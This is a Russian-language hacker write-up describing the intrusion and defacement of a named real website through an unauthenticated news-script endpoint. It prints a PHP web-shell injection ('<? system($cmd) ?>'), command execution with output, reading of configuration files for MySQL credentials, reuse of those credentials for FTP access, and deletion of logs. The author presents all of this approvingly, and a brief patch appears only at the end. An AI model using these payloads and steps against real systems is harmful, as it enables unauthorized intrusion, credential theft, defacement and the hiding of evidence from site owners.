Как был взломан www.polestudio.ru
Автор - OverG
Зашел я однажды на сайт e.polestudio.ru, полазил на нем, ничего интересного не нашел. Но тут я заметил что-то знакомое в линке, указывающем на архив новостей. Точно, это же скрипт под названием "Новости", который я недавно скачал, и в нем есть одна довольно глупая уязвимость (да простят меня создатели скрипта :) ).
Админская панель состоит из 2 основных файлов (config.php содержит только настройки) - index.php и script.php. index.php требует авторизацию, если это можно назвать авторизацией :) Скрипт сравнивает пароль, переданный в параметре pass с паролем в конфиге, если пароли не совпали, то возвращает пустую страницу, если совпали - сам знаешь че :)
Пройдя её, мы вводим текст новости, который передаётся файлу
script.php параметром data. Самое главное - в файле script.php никакой авторизацией
даже и не пахнет :) Этот скрипт записывает данные, переданные в параметре data
в файл, названием которого является текущая дата. Я вот и решил открыть http://e.polestudio.ru/mywindows/admin/script.php?data=Hello!
Надпись Hello! довольно мелко отразилась в середине страницы /mywindows/index.php.
Все! можно было довольно красиво отдефейсить. Но мне хотелось большего :)
И тут мне пришла идея, а что если вписать вместо текста новости
<? system($cmd) ?> , тогда, при удачном раскладе, можно будет выполнять
любые команды.
Пробую - /mywindows/admin/script.php?data=<? system($cmd) ?>
Затем открываю /mywindows/index.php?cmd=id;uname -a;
Команда выполнилась и в середине страницы /mywindows/index.php я увидел:
uid=1296(pole) gid=65533 groups=65533
FreeBSD v6.valuehost.ru 4.4-STABLE FreeBSD 4.4-STABLE #2: Wed Jan 15 21:44:48
MSK 2003
Права на дефейс есть. Конечно можно было бы написать index.php?cmd=echo
Здесь был Вася > ../index.html но хотелось чтобы это было красиво. Жаль,
что ФриБСД.., командой wget не воспользуешься, картинку прямо так залить не
получится. Просмотр конфига новостей - /mywindows/admin/config.php мне ничего
не дал, там был пароль на админку, но новость я мог добавить и сам. Никаких
htpasswd'ов я не нашел, но полазив немного по дирам (ls ../) на этом сайте,
я нашел форум, глянул файл конфига
cat ../eforum/config.php;
Там оказался логин и пароль от MySQL. К мою счастью этот пароль совпал с паролем
от FTP. Осталось залить дефейс и удалить логи.
Патч.
Добавьте в файл index.php строку:
<input type=hidden name=pass value=<?=$pass?>> перед </form>
А в файл script.php добавьте после строки include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);